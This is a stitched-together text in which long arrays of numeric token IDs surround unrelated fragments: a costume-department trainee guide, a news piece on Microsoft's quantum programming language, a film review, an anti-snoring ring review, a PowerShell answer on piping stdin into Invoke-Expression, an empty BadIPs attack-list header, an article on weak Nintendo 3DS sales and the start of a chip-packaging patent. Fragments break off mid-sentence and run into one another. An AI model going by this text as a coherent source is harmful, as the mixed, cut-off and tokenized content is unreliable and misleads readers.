16384, 634, 1481, 1475, 253, 12342, 13, 2299, 13, 368, 778, 878, 253, 673, 15, 1310, 368, 1472, 6110, 275, 2820, 253, 747, 6318, 12672, 3448, 13, 368, 476, 861, 598, 1060, 15, 36, 23520, 285, 330, 304, 22131, 187, 187, 7878, 2102, 466, 18425, 8438, 500, 1513, 316, 348, 11167, 16607, 28, 84, 806, 3085, 1580, 7544, 11167, 16607, 28, 84, 26291, 21048, 27, 380, 10834, 273, 253, 5769, 40172, 310, 436, 2962, 273, 8723, 382, 362, 525, 23314, 15, 5815, 581, 8687, 10575, 273, 767, 390, 1264, 952, 516, 2383, 272, 35644, 1223, 10470, 1475, 247, 2829, 275, 247, 1345, 1659, 15, 380, 8208, 310, 3846, 4029, 17325, 533, 13, 347, 342, 512, 33039, 30511, 6590, 273, 436, 1511, 13, 253, 1543, 6889, 32251, 432, 10076, 281, 10076, 15, 187, 187, 510, 5909, 9037, 310, 7429, 40114, 14555, 28, 998, 6324, 281, 35404, 1422, 11167, 16989, 28, 285, 6114, 49335, 46773, 6029, 525, 74, 313, 14660, 310, 34718, 10, 285, 253, 5431, 32748, 14, 28619, 43778, 19436, 17025, 16585, 247, 4143, 281, 253, 40069, 15, 733, 12345, 34756, 2620, 2909, 13, 533, 326, 11167, 16607, 28, 84, 2620, 2909, 1512, 1048, 347, 253, 6200, 4566, 17663, 15, 496, 40114, 14555, 28, 14191, 968, 13, 11167, 16989, 28, 19322, 322, 37333, 8652, 49732, 285, 19661, 26379, 26861, 1452, 285, 8174, 466, 8652, 1089, 3746, 275, 247, 33199, 277, 7068, 1146, 13308, 2220, 407, 11819, 19523, 336, 7373, 313, 40, 5465, 3645, 481, 9937, 253, 26664, 11167, 16607, 28, 21915, 13, 344, 1404, 5351, 2220, 731, 342, 6281, 273, 49177, 3327, 2205, 11167, 16607, 28, 84, 27710, 10319, 19661, 4929, 13, 253, 4688, 49177, 15, 1284, 21220, 347, 19523, 336, 7373, 310, 13, 271, 10501, 10586, 22713, 310, 562, 273, 521, 3986, 15, 187, 187, 510, 1682, 8223, 556, 330, 366, 2071, 1377, 6168, 442, 4882, 1097, 5810, 15, 330, 366, 285, 19787, 2205, 13, 665, 403, 6994, 7285, 37827, 15, 330, 366, 310, 247, 7612, 1190, 30912, 554, 14, 15160, 17217, 14, 881, 1223, 19787, 2205, 310, 247, 30304, 305, 837, 259, 1136, 12424, 2509, 247, 24112, 5405, 1417, 13214, 15, 1583, 1790, 275, 253, 36591, 273, 247, 14567, 3847, 8614, 835, 330, 366, 310, 15966, 275, 247, 2315, 26246, 292, 323, 617, 6323, 3085, 15, 1500, 14177, 617, 1682, 281, 18045, 19787, 2205, 5207, 703, 11210, 11167, 16607, 28, 85, 2326, 275, 1107, 13, 1223, 19787, 2205, 5841, 4116, 281, 285, 840, 5597, 265, 1046, 330, 366, 269, 10422, 7222, 347, 16864, 14, 356, 3161, 1242, 347, 1896, 15, 2071, 1377, 6168, 442, 310, 37750, 4882, 4951, 637, 281, 5972, 15, 187, 187, 9917, 12532, 310, 40114, 14555, 28, 6080, 2811, 275, 5002, 11167, 16989, 28, 275, 534, 309, 1266, 90, 12278, 313, 48686, 6258, 10, 3249, 762, 253, 17452, 14, 19579, 12262, 7990, 273, 6270, 23224, 953, 313, 3220, 33493, 9730, 481, 23224, 953, 3537, 13505, 285, 29698, 1016, 15377, 4385, 309, 1266, 90, 2789, 715, 271, 46504, 20423, 15, 496, 247, 1077, 17127, 9326, 13, 309, 1266, 90, 7819, 562, 281, 320, 3240, 253, 14123, 12353, 13, 2167, 23224, 953, 310, 253, 1711, 8534, 1133, 875, 253, 767, 20230, 15, 187, 187, 510, 760, 643, 8223, 273, 3877, 13, 40114, 14555, 28, 36, 528, 968, 32, 11167, 16989, 36739, 8687, 24179, 24429, 1758, 285, 11819, 2434, 19356, 4804, 323, 10331, 15, 2434, 19356, 3936, 1046, 5107, 281, 4512, 3968, 13, 50124, 697, 10331, 13, 253, 269, 1225, 621, 13, 285, 8742, 9757, 15, 329, 16907, 5369, 30981, 24429, 1758, 4558, 48301, 1223, 521, 30446, 12141, 1057, 521, 1682, 281, 8773, 1919, 344, 4720, 4850, 521, 1705, 1135, 593, 15, 380, 6200, 2789, 27625, 350 ]

National Insurance. Please make sure to set up your invoicing structure in a way that will enable you to be consistent with your numbering. For example, if you're John Smith you may decide to structure your invoicing as JS01. Try not to go changing your formats too much, when it comes to the end of the tax year (April 5th), you’re going to want to keep things as simple as possible. What is the set etiquette for junior members of the Costume Department? Many, though not all, designers will give trainees on set experience while working in the department. The set environment is unlike anything you may have experienced to date, and there are certain codes of conduct that needs to be observed. If you are naturally spatially aware, proactive and attentive then set etiquette should present no mystery for you. As a costume trainee you should be following basic set etiquette for the junior roles, but if you want to make an impression here are a few rules to work by: Listen - really listen to the conversations that are going on around you. Situations can change at a moment’s notice for costume, and as the trainee you can be the one dashing back to the trailer. Get to know your edge of frame. For final checks (if you are asked to help out) have a look at the monitor to see what the frame size is; if it’s a close up you don’t need to waste time polishing an actor's shoes - unless the actor's shoes are the close up. Don’t stare. If you are working on a big production with some A-listers, don’t stare at them while they are rehearsing or going for a take. Being costume you are going to be placed relatively close to the action, look at the monitor but don’t crowd it. The best thing you can do is keep an eye on the standby costume, watch how they present themselves. What should I take with me on my first day? Much the same as the Makeup Department, designers will expect trainees to arrive with a basic kit, especially if the designer sends them onto set with standby costume. Your basic kit should consist of: Clear bag Scissors Needles and threads Pins - to include safety pins of assorted sizes and dress pins. Heel grips Measuring tape Lint roller Baby wipes Toupe tape Glue Penguins (stain removal mini wipes) Notebook and pen (although the sharpie is the industry's favoured permanent marker, it can be any) Clothes brushes What hours am I likely to work? As with all crew who work in the practical departments, the days will be long. You will probably be looking at 12 hours on camera, which ultimately means around 13-15 hours a day, six days a week. The Costume Department isn’t for everyone. Far from glamorous, far from easy, members of the costume thrive on the pace and challenge this department presents. thank you's... My First Job in Film would like to thank Lance Milligan for sharing his expereince and giving up his time to offer advice for this career guide. Join ourFacebook Group For Career Advice, Job Feedback, and CV Support. We are here to help you, so join us on our Facebook group and talk to us!Microsoft’s new coding language is made for quantum computers When one of the first personal computers, the Altair 8800 came along in 1976, Microsoft was ready with a programming language, Altair BASIC. It wants to be equally prepared when quantum computers go mainstream, so it has unveiled a new programming language and other tools for the futuristic tech at its Ignite conference. You'll still need to understand Qubits and other weird concepts, but by integrating traditional languages like C# and Python, Microsoft will make it easier to do mainstream computing on the complex machines. Quantum computing is famously difficult to grasp -- even IBM's "Beginner's Guide" is laughingly opaque. In discussing Microsoft's new initiatives, Bill Gates called the physics "hieroglyphics," and when asked if he could describe it in one sentence, Satya Nadella said "I don't think so. I wish I could." So, let's just talk about what it can do, then. By taking advantage of the principles of superposition and entanglement, quantum computers can solve certain types of problems exponentially faster than the best supercomputers. "It would allow scientists to do computations in minutes or hours that would take the lifetime of the universe on even the most advanced classical computers," Microsoft explains. "That, in turn, would mean that people could find answers to scientific questions previously thought unanswerable." Microsoft is effectively building a language for computers that don't really exist yet. The most advanced experimental machine, a 16/17 qubit model, was built by IBM and has run over 300,000 experiments. It's far from being ready for commercial applications, though. Big Blue recently unveiled an initiative to build commercial quantum computers called IBM Q, and has already released its own programming tools via an API called the IBM Quantum Experience. Microsoft's programming language doesn't have a name yet, but the company already has plans for quantum computing in AI. In particular, it thinks that the machines could be used to train its Cortana digital assistant in days instead of months. "Even if everything else was the same, Cortana would improve 30 times faster," Microsoft's research chief Craig Mundie says. To get quantum computing working more quickly, Microsoft's star theoretical researcher, Michael Freedman (below), is trying to build both the hardware and software for a "topological quantum computer" (I'm not even going to try to explain that). To that aim, he has recruited "some of the world's preeminent condensed-matter and theoretical physicists, materials scientists, mathematicians and computer scientists," Microsoft says. Microsoft is also working on the computer itself, but to get programmers up to speed, it's releasing the programming tools for developers and computer scientists. "The same code that you're running today in simulation you can run tomorrow on our quantum computer," says quantum computing software lead Krysta Svore. Individual users can simulate problems that require up to 30 logical qubits, while enterprise customers get 40 qubits of power (the more qubits, the faster the machine). "Developers without quantum expertise can actually call quantum subroutines, or write sequences of programming instructions, working up to writing a complete quantum program," Microsoft says. It might be awhile before commercials computers are ready, as they currently require near-absolute zero temperatures to remain in a stable state. Considering how tough it is to wrap your head around the concepts, however, you may need the time. If you're interested in trying the new quantum computing language, you can sign up here.Coffee and Cigarettes American Indie veteran Jim Jarmuschs first film since 1999s Ghost Dog: The Way of the Samurai is this series of minimalist vignettes. Each one involves variations of two or three people imbibing caffeine while smoking around a table in a public place. The intention is deadpan comedy but, as with all omnibus films of this type, the results vary wildly from scenario to scenario. The opening episode is entitled Strange to Meet You and stars manic Roberto Benigni (Life is Beautiful) and the typically poker-faced comedian Steven Wright discussing a visit to the dentist. It barely lasts five minutes, but thats five minutes too long as the scene goes nowhere. In Twins, occasional Spike Lee collaborators and twin siblings Cinque and Joie Lee find themselves in a Memphis diner being waited upon by Steve Buscemi (Ghost World). Despite the twins objections, he prevails upon them with stories of Elvis Presleys hypothetical evil twin brother, the fat Elvis. As talented as Buscemi is, an authentic Southern accent is out of his reach. The best segment has Cate Blanchette playing both characters. Cate and Shelley, who are polar opposite cousins. Cate is a Meryl Streep-everywoman-type while Shelley is a punk goth wannabe doing a Lucy Lawless impression. They sit in the lounge of a ritzy hotel where Cate is engaging in a press junket for her latest film. She tries her best to accommodate Shelley whom she hasnt seen in years, while Shelley calls attention to and then dismisses every Cate faux pas as passive-aggressively as possible. Blanchette is hilarious playing straight man to herself. Also promising is Somewhere in California in which Iggy Pop (Snow Day) comes under the ultra-sensitive targeting scope of Tom Waits (Mystery Men). Waits analyzes and transforms each innocent comment Iggy makes into an unintended insult. In a very pleasant surprise, Iggy turns out to be quite the accomplished actor, though Waits is the old acting hand between the two musicians. The only other segment of note, Cousins?, involves Alfred Molina and Steve Coogan meeting for tea. Coogan takes every opportunity to slight America, insulting its tea, the fashions, and Los Angeles. A seemingly unfazed Molina remains complimentary while his rude guest does his best to escape until he finally gets his comeuppance. The scene makes dexter

[ 510, 806, 2181, 326, 10903, 479, 310, 326, 253, 7088, 12972, 18567, 11982, 4263, 22668, 2506, 626, 452, 247, 346, 531, 1979, 13840, 512, 3, 815, 27154, 7868, 13, 347, 352, 2987, 327, 36441, 560, 459, 15, 380, 7088, 12972, 14445, 403, 31445, 533, 627, 403, 1264, 9552, 281, 1339, 368, 5206, 253, 954, 4569, 581, 323, 368, 15, 187, 187, 25074, 428, 2434, 735, 5818, 9552, 500, 14, 49, 15, 1720, 34274, 323, 2255, 390, 1821, 342, 1355, 3564, 16, 41822, 398, 313, 2520, 310, 479, 428, 309, 452, 10058, 7356, 9881, 13724, 187, 187, 46374, 1108, 2434, 735, 5818, 9552, 427, 14, 52, 15, 187, 187, 31727, 1108, 2434, 735, 5818, 9552, 322, 1108, 59, 15, 187, 187, 510, 5818, 556, 281, 320, 548, 30930, 327, 634, 1652, 9185, 342, 253, 1355, 3317, 713, 313, 5658, 476, 923, 352, 327, 253, 2460, 1840, 10, 327, 253, 3304, 285, 368, 29684, 352, 281, 755, 247, 1175, 4944, 15, 2091, 309, 369, 4361, 949, 253, 6239, 352, 5936, 326, 13, 275, 253, 6284, 273, 714, 249, 19028, 13, 326, 2255, 943, 8251, 253, 5818, 327, 616, 1669, 9185, 533, 352, 671, 2296, 326, 4536, 13, 5536, 3802, 43770, 778, 878, 281, 897, 374, 14445, 313, 309, 369, 247, 1652, 11926, 387, 436, 1127, 326, 309, 778, 878, 625, 685, 767, 10, 187, 187, 1231, 574, 644, 327, 13319, 533, 253, 6150, 2329, 574, 2218, 2717, 323, 619, 3802, 4263, 13, 594, 342, 253, 1091, 281, 776, 1211, 3722, 3407, 253, 3523, 3802, 4263, 4544, 15, 380, 806, 4564, 273, 15513, 7101, 247, 3877, 494, 7756, 533, 407, 2360, 721, 13, 8505, 619, 643, 2716, 7303, 281, 755, 247, 9106, 19951, 15513, 4600, 15, 309, 452, 281, 11476, 326, 309, 369, 247, 1652, 44743, 474, 387, 806, 13, 849, 812, 436, 1652, 5818, 3523, 619, 3802, 4263, 533, 352, 556, 15, 309, 476, 626, 362, 9764, 323, 436, 275, 697, 25983, 313, 7265, 314, 984, 309, 717, 17390, 1223, 253, 5175, 310, 1469, 327, 10, 533, 2556, 281, 253, 637, 327, 253, 13229, 13, 352, 4850, 247, 5699, 47982, 598, 15, 187, 187, 43963, 1163, 844, 497, 1677, 253, 7088, 12972, 18567, 11982, 4263, 22668, 281, 2278, 533, 253, 6849, 285, 11626, 403, 271, 8274, 285, 2032, 12906, 273, 776, 4342, 15, 50, 27, 187, 187, 2347, 281, 7472, 9136, 14440, 6001, 3280, 264, 432, 6268, 249, 187, 187, 42, 971, 281, 7472, 253, 2600, 432, 659, 69, 688, 275, 33904, 14440, 13, 751, 436, 27, 187, 13088, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 12122, 5423, 1040, 26332, 89, 3, 187, 11021, 27, 7392, 1249, 28, 187, 20810, 13, 370, 5423, 310, 417, 247, 4605, 13, 533, 247, 4155, 15, 33281, 15, 40531, 318, 15, 19996, 15, 4241, 15283, 13, 534, 1056, 26332, 89, 417, 2444, 347, 3264, 1051, 1580, 436, 581, 310, 2444, 9113, 27, 187, 39969, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 12122, 12467, 426, 12114, 13088, 1249, 7405, 3664, 370, 12467, 1040, 26332, 89, 3, 187, 11021, 27, 1249, 187, 187, 34, 27, 187, 187, 510, 1563, 651, 789, 27, 187, 11244, 247, 6001, 6172, 27, 187, 13088, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 551, 370, 5423, 1040, 26332, 89, 748, 187, 187, 3980, 897, 2014, 19101, 281, 3693, 253, 2876, 30370, 27, 187, 7392, 346, 13088, 1249, 16352, 1040, 9136, 14440, 428, 79, 39587, 3140, 428, 4160, 2388, 4507, 428, 12467, 34912, 5423, 1040, 26332, 89, 8, 187, 187, 601, 253, 370, 5423, 4778, 3548, 626, 11848, 13, 285, 253, 2876, 34912, 5423, 8, 310, 4817, 281, 26332, 89, 15, 187, 14358, 273, 841, 1918, 479, 346, 805, 3446, 535, 4, 187, 4, 1794, 64, 6986, 64, 18, 64, 24, 69, 187, 4, 187, 4, 13997, 87, 21, 13283, 27, 532, 13997, 1178, 187, 4, 187, 4, 544, 24494, 3123, 84, 15, 681, 62, 313, 3614, 1358, 2700, 15, 14367, 2824, 15, 681, 21714, 15350, 309, 3724, 275, 7140, 209, 187, 4, 4284, 342, 4868, 1840, 337, 285, 2363, 1679, 685, 818, 69, 187, 4, 187, 4, 353, 1143, 7566, 50272, 27, 15350, 3123, 84, 15, 681, 187, 4, 353, 1143, 7566, 10611, 50276, 27, 5987, 1358, 2700, 15, 14367, 2824, 15, 681, 16, 187, 4, 5552, 2603, 10611, 1163, 5987, 1358, 2700, 15, 14367, 2824, 15, 681, 16, 788, 16, 3550, 16, 6986, 16, 18, 32, 486, 30, 24, 69, 187, 4, 12269, 8490, 10421, 27, 4200, 16925, 1638, 16261, 27, 3583, 27, 805, 38040, 9169, 187, 4, 187, 4, 26891, 50270, 27, 8104, 187, 4, 11099, 50269, 27, 23438, 187, 4, 187, 4, 831, 8490, 10421, 50276, 27, 4200, 16925, 1638, 15630, 27, 520, 27, 1012, 38040, 9169, 187, 4, 17251, 38544, 27, 721, 3038, 209, 187, 4, 32516, 37480, 50273, 27, 5293, 187, 4, 11198, 2246, 50269, 27, 470, 4451, 309, 3724, 187, 4, 187, 4, 13525, 1618, 1783, 13, 1690, 3471, 311, 4341, 3711, 13, 2892, 13, 187, 4, 17302, 3646, 13, 47685, 342, 643, 10894, 13, 3966, 15, 187, 4, 2130, 387, 27, 187, 4, 187, 4, 50276, 2413, 1358, 7070, 1346, 15, 11342, 11171, 15, 2061, 22549, 532, 1178, 30, 4193, 64, 6986, 64, 18, 64, 24, 69, 187, 4, 187, 4, 41415, 407, 8726, 41, 3271, 434, 5731, 14, 532, 19598, 15, 1200, 187, 4, 12639, 264, 342, 8726, 41, 3271, 434, 13997, 6324, 187, 4, 187, 25438, 4606, 2139, 253, 26862, 495, 5942, 310, 8679, 14, 4894, 272, 342, 40178, 187, 187, 19234, 556, 4783, 3430, 15, 36072, 436, 807, 13, 253, 495, 5942, 369, 46156, 407, 26862, 347, 697, 954, 5547, 45848, 8027, 281, 3522, 15, 1723, 13, 846, 253, 288, 636, 265, 273, 26862, 34097, 265, 497, 6699, 8871, 598, 616, 985, 387, 21811, 13, 6224, 3407, 281, 10343, 9648, 9086, 15, 1893, 9086, 13, 275, 958, 13, 326, 407, 4162, 3435, 13, 581, 1770, 846, 253, 985, 457, 84, 3919, 3435, 8027, 13, 26862, 3918, 322, 1080, 86, 309, 88, 682, 5544, 281, 12946, 326, 253, 18436, 72, 1981, 985, 574, 2168, 4242, 281, 2525, 253, 2567, 457, 84, 12656, 15, 3932, 840, 13, 1841, 452, 12759, 247, 2257, 7197, 15, 16513, 4829, 512, 2045, 26862, 45848, 84, 13, 253, 495, 5942, 556, 574, 7596, 2970, 745, 253, 3216, 15, 3824, 1943, 1953, 310, 2139, 32, 4952, 949, 253, 31056, 2069, 387, 26862, 13, 672, 49261, 751, 253, 10850, 36, 4338, 23265, 19460, 281, 3297, 9338, 13, 26862, 457, 84, 10850, 12143, 285, 20807, 45848, 84, 452, 14667, 26447, 689, 253, 45848, 2165, 4491, 1905, 271, 4491, 26862, 3562, 8007, 3622, 15, 187, 187, 510, 495, 5942, 310, 10156, 594, 15225, 326, 26862, 556, 6138, 326, 352, 588, 2624, 253, 4376, 273, 253, 495, 5942, 432, 370, 9519, 281, 370, 15046, 327, 4223, 1903, 13, 285, 3918, 309, 88, 682, 588, 2624, 521, 1211, 16268, 407, 2456, 2558, 13, 2112, 342, 253, 32510, 273, 2067, 643, 1029, 14, 47883, 26862, 23289, 15, 773, 42, 1928, 10260, 28461, 323, 1907, 281, 1056, 253, 1616, 3487, 13515, 846, 253, 8027, 13, 323, 1907, 13572, 776, 11349, 457, 4517, 13, 323, 1907, 1160, 247, 1534, 3486, 2220, 253, 4832, 43942, 13, 323, 253, 7970, 43690, 1024, 1146, 3264, 281, 320, 3012, 1679, 685, 8927, 3264, 285, 323, 1024, 16923, 272, 326, 627, 588, 320, 642, 26964, 43690, 1806, 753, 309, 88, 682, 15, 187, 187, 2598, 13, 604, 253, 495, 5942, 310, 10156, 436, 15225, 13, 359, 452, 281, 1642, 27, 2139, 32, 26862, 457, 84, 1386, 273, 20807, 3580, 556, 644, 4633, 323, 5093, 1107, 15, 1737, 457, 84, 1027, 1024, 32, 844, 452, 690, 11813, 15, 23195, 403, 247, 1643, 4606, 2139, 26862, 457, 84, 747, 45848, 310, 25485, 15, 187, 187, 1147, 457, 84, 1512, 8214, 187, 187, 510, 3236, 10850, 12143, 10098, 387, 370, 2270, 275, 11161, 28, 253, 10850, 12143, 36808, 10098, 387, 370, 8970, 275, 6585, 28, 253, 26862, 20807, 10098, 387, 370, 8970, 275, 6157, 28, 253, 26862, 20807, 418, 614, 10098, 387, 370, 11246, 275, 5403, 28, 285, 253, 399, 14581, 10098, 323, 370, 8970, 15, 12568, 497, 33449, 387, 370, 1229, 390, 1679, 1919, 253, 26862, 20807, 13, 672, 7911, 9461, 281, 271, 3388, 273, 370, 1449, 323, 747, 14505, 15, 2726, 253, 495, 5942, 13, 26862, 4425, 281, 1379, 247, 1027, 13, 625, 8214, 7622, 15, 380, 495, 5942, 10098, 323, 370, 9519, 275, 253, 1986, 2077, 13, 2403, 352, 253, 954, 8214, 45848, 253, 2567, 556, 2455, 4439, 15, 4952, 253, 747, 3777, 4376, 273, 370, 15046, 13, 1223, 370, 1438, 20182, 13, 588, 320, 4942, 8214, 2429, 281, 26862, 457, 84, 2892, 15, 2726, 253, 4376, 273, 3492, 2165, 49261, 13, 894, 15169, 13, 285, 3253, 49801, 2169, 285, 2169, 13, 4931, 1142, 10345, 457, 85, 5480, 281, 8135, 562, 594, 1199, 323, 247, 747, 45848, 985, 15, 187, 187, 510, 760, 1175, 5301, 281, 253, 495, 5942, 4376, 651, 320, 253, 22645, 35228, 6162, 494, 13, 534, 19460, 1955, 281, 697, 1029, 4376, 273, 370, 9519, 13, 2190, 643, 1841, 15, 187, 187, 20, 37, 310, 247, 42837, 10156, 4735, 187, 187, 8836, 1053, 457, 85, 1646, 281, 2564, 495, 37, 13, 533, 19235, 323, 26862, 13, 597, 6403, 457, 85, 27535, 598, 281, 2793, 352, 751, 597, 497, 247, 4564, 1107, 896, 15, 19863, 427, 5414, 941, 22513, 598, 436, 9058, 13, 4645, 326, 11349, 6403, 457, 85, 11280, 495, 37, 12101, 84, 15, 2091, 309, 1132, 253, 495, 5942, 13, 309, 1089, 4266, 8577, 253, 4735, 745, 1955, 281, 5130, 7372, 15, 19810, 1646, 281, 4264, 352, 625, 13, 533, 309, 457, 69, 18814, 934, 326, 1643, 952, 403, 24684, 1977, 407, 495, 37, 285, 651, 2075, 370, 9519, 12718, 323, 247, 45848, 326, 3400, 352, 15, 3900, 1142, 778, 4264, 253, 2879, 7877, 387, 581, 1127, 390, 1529, 13, 253, 495, 5942, 457, 84, 1943, 305, 12784, 781, 310, 17543, 14, 4924, 495, 37, 13, 285, 352, 2506, 457, 85, 1646, 281, 320, 10054, 745, 15, 187, 187, 2042, 368, 5386, 253, 495, 37, 13, 253, 495, 5942, 4453, 13, 973, 13, 4555, 751, 1046, 20807, 1078, 352, 15, 26862, 11210, 457, 85, 33127, 697, 10309, 275, 1142, 643, 4088, 15, 15594, 13, 352, 556, 247, 2372, 625, 14709, 13, 627, 310, 271, 299, 48698, 1024, 13, 285, 253, 985, 556, 271, 7370, 11010, 11224, 13, 533, 253, 8113, 3212, 253, 495, 5942, 3133, 1679, 670, 2165, 15832, 285, 625, 670, 247, 495, 37, 3601, 15, 26862, 1014, 4242, 281, 5731, 253, 5181, 4302, 273, 253, 20807, 1386, 281, 3761, 253, 20876, 9185, 19883, 368, 1089, 275, 954, 33188, 15, 26862, 2686, 9703, 281, 897, 271, 1711, 11623, 422, 14, 4826, 5181, 14396, 275, 697, 495, 5942, 5747, 253, 2862, 21679, 285, 19801, 2791, 4886, 2584, 4192, 1483, 5181, 14396, 4302, 13, 534, 14935, 368, 897, 634, 9881, 285, 1554, 262, 9764, 35324, 15, 1707, 403, 3164, 1175, 4606, 323, 436, 13, 533, 253, 11844, 310, 275, 327, 17521, 5123, 27, 5595, 952, 1053, 457, 85, 1663, 971, 281, 897, 731, 15, 13349, 1574, 13, 7051, 6500, 310, 5667, 323, 1142, 4980, 4893, 15, 3813, 13, 11349, 403, 9592, 17905, 625, 5162, 1612, 13, 2406, 8545, 1612, 10393, 285, 20182, 4095, 15, 1284, 253, 7051, 4491, 331, 39477, 281, 2525, 841, 11684, 285, 625, 9542, 285, 12006, 254, 16012, 13, 12949, 4953, 1320, 588, 906, 275, 271, 6880, 273, 253, 1180, 273, 16666, 591, 20832, 285, 253, 1180, 273, 26488, 591, 11291, 13, 347, 973, 347, 247, 5141, 275, 1612, 10393, 15, 23224, 1592, 1268, 18420, 313, 56, 13010, 10, 4302, 556, 644, 21896, 18395, 1580, 253, 7051, 4295, 403, 1146, 4158, 281, 320, 21259, 13, 4577, 13, 625, 25274, 47855, 13, 625, 6422, 13, 625, 9630, 285, 1679, 8214, 15, 380, 411, 13010, 4302, 24772, 9778, 1907, 1027, 5164, 1005, 387, 247, 20832, 1268, 13, 285, 310, 7561, 3732, 275, 1340, 281, 2525, 5415, 11684, 2584, 253, 12949, 4953, 1320, 285, 2169, 3470, 273, 253, 7051, 4295, 15, 187, 34, 6605, 275, 411, 13010, 4302, 16540, 7350, 670, 849, 281, 2572, 253, 1180, 273, 253, 5637, 4295, 13, 3340, 387, 253, 10844, 2919, 273, 824, 6605, 15, 496, 4499, 281, 247, 5899, 18420, 4302 ]

The first thing that struck me is that the Good Night Anti Snoring Ring doesn't have a "one size fits all" philisophy, as it works on acupressure. The Good Night rings are adjustable but there are three sizes to let you choose the most appropriate one for you. Small - Covers ring sizes J-P. Recommended for women or men with small hands/fingers (this is me - I have tiny stick fingers!) Medium – Covers ring sizes N-S. Large – Covers ring sizes S –Z. The ring has to be worrn on your little finger with the small dimple (you can see it on the image above) on the inside and you squeeze it to get a good fit. When I was reading through the literature it suggests that, in the interests of Yin Yang, that women should wear the ring on their left finger but it also says that sometimes, heavy snorers may need to use 2 rings ( I was a little worried at this point that I may need more than two) We had been on holiday but the sea air had done nothing for my snoring, so with the return to our own bed began the stop snoring campaign. The first couple of nights marked a noteable improvement but by night 6, apparently my other half managed to get a totally peaceful nights sleep. I have to admit that I was a little sceptical at first, how could this little ring stop my snoring but it has. I can't vouch for this in its entirety (mainly because I am asleep while the testing is going on) but according to the man on the pad, it gets a huge thumbs up. Disclaimer : We were given the Good Night Anti Snoring Ring to review but the views and opinions are an honest and true reflection of our findings.Q: How to evaluate powershell script inputed from stdin I want to evaluate the content from StdIn in Powershell, like this: echo "echo 12;" | powershell -noprofile -noninteractive -command "$input | iex" Output: echo 12; Unfortunately, $input is not a String, but a System.Management.Automation.Internal.ObjectReader, which make iex not working as expected... since this one is working correctly: powershell -noprofile -noninteractive -command "$command = \"echo 12;\"; $command | iex" Output: 12 A: The following would work: Use a scriptblock: echo "echo 12;" | powershell -noprofile -noninteractive -command { $input | iex } Or use single quotes to avoid the string interpolation: echo "echo 12;" | powershell -noprofile -noninteractive -command '$input | iex' so the $input variable isn't expanded, and the string '$input' is passed to iex. Both of these give me "12". # # bi_default_1_7d # # ipv4 hash:ip ipset # # [BadIPs.com] (https://www.badips.com/) Bad IPs in category # default with score above 1 and age less than 7d # # Maintainer : BadIPs.com # Maintainer URL : https://www.badips.com/ # List source URL : https://www.badips.com/get/list/default/1?age=7d # Source File Date: Mon Sep 14 02:52:12 UTC 2020 # # Category : attacks # Version : 1955 # # This File Date : Mon Sep 14 09:01:13 UTC 2020 # Update Frequency: 6 hours # Aggregation : none # Entries : 0 unique IPs # # Full list analysis, including geolocation map, history, # retention policy, overlaps with other lists, etc. # available at: # # http://iplists.firehol.org/?ipset=bi_default_1_7d # # Generated by FireHOL's update-ipsets.sh # Processed with FireHOL's iprange # Five reasons why the Nintendo 3DS is Bob-ombing with gamers Something has gone wrong. Earlier this year, the 3DS was hailed by Nintendo as its most successful handheld launch to date. However, after the hordes of Nintendo devotees were finished picking up their system at midnight, sales began to decline fairly rapidly. So rapidly, in fact, that by April 27, one month after the system’s March 27 launch, Nintendo President Satoru Iwata explained to investors that the fledgling system had already failed to meet the company’s expectations. Since then, things have gotten a lot worse. Unlike nearly all previous Nintendo handhelds, the 3DS has had trouble getting off the ground. Our big question is why? Even through the hardest times at Nintendo, when consoles like the GameCube continually struggled to stay alive, Nintendo’s Game Boy and DS handhelds have retained dominance over the handheld game industry — an industry Nintendo created decades ago. The 3DS is selling so poorly that Nintendo has announced that it will cut the price of the 3DS from $250 to $170 on August 11, and President Iwata will cut his own salary by 50 percent, along with the salaries of several other high-ranking Nintendo executives. “I feel greatly accountable for having to make the markdown shortly after the launch, for having damaged our consumers’ trust, for having made a significant impact upon the financial forecasts, for the annual dividend now being expected to be significantly less than originally expected and for now forecasting that there will be no interim dividend,” said Iwata. So, if the 3DS is selling this poorly, we have to ask: why? Nintendo’s line of DS products has been popular for seven years. What’s different now? We have some theories. Below are a few reasons why Nintendo’s new handheld is bombing. It’s too expensive The original Game Boy launched at $90 in 1989; the Game Boy Advance launched at $150 in 2001; the Nintendo DS launched at $150 in 2004; the Nintendo DS Lite launched at $130 in 2006; and the DSi launched for $150. Games were priced at $30 or less until the Nintendo DS, when prices rose to an average of $40 for new titles. With the 3DS, Nintendo decided to take a different, more expensive route. The 3DS launched for $250 in the United States, making it the most expensive handheld the company has ever released. Even the new reduced price of $170, while $80 cheaper, will be relatively expensive compared to Nintendo’s history. With the price of video game consoles, cell phones, and everything creeping higher and higher, perhaps many weren’t prepared to shell out so much for a new handheld system. The only good comparison to the 3DS price would be the Sony PlayStation Portable, which struggled due to its high price of $250, among other things. 3D is a lame selling feature People don’t seem to mind 3D, but unfortunately for Nintendo, they aren’t lining up to experience it like they were a couple years back. Recent NPD data backs up this trend, showing that consumers aren’t buying 3DTVs. When I play the 3DS, I find myself turning the feature off due to eye strain. Others seem to enjoy it more, but I’d gamble that few people are blown away by 3D and would pay $250 solely for a handheld that provides it. While many may enjoy the added dimension at one point or another, the 3DS’s big gimmick is glasses-free 3D, and it doesn’t seem to be paying off. If you remove the 3D, the 3DS looks, well, exactly like every DS before it. Nintendo hasn’t progressed its hardware in many other ways. Sure, it has a bit more juice, there is an eShop now, and the system has an analog joystic, but the vision behind the 3DS seems less about game innovation and more about a 3D screen. Nintendo even failed to update the touch technology of the DS line to match the responsive finger touching you find in most smartphones. Nintendo actually chose to use an old resistive-style touchscreen in its 3DS despite the entire smartphone and tablet market moving toward capacitive touchscreen technology, which lets you use your fingers and multitouch gestures. There are probably good reasons for this, but the verdict is in on styluses: Most people don’t really want to use them.Presently, electronic equipment is essential for many modern applications. Therefore, consumers are increasingly demanding more processing power, lower electrical power usage and cheaper devices. As the electronic industry strives to meet these demands and more complicated and denser configurations, miniaturization will result in an extension of the number of chips per wafer and the number of transistors per chip, as well as a reduction in power usage. Wafer level packaging (WLP) technology has been gaining popularity since the electronic components are being designed to be lighter, smaller, more multifunctional, more powerful, more reliable and less expensive. The WLP technology combines dies having different functionalities at a wafer level, and is widely applied in order to meet continuous demands toward the miniaturization and higher functions of the electronic components. A substrate in WLP technology raises 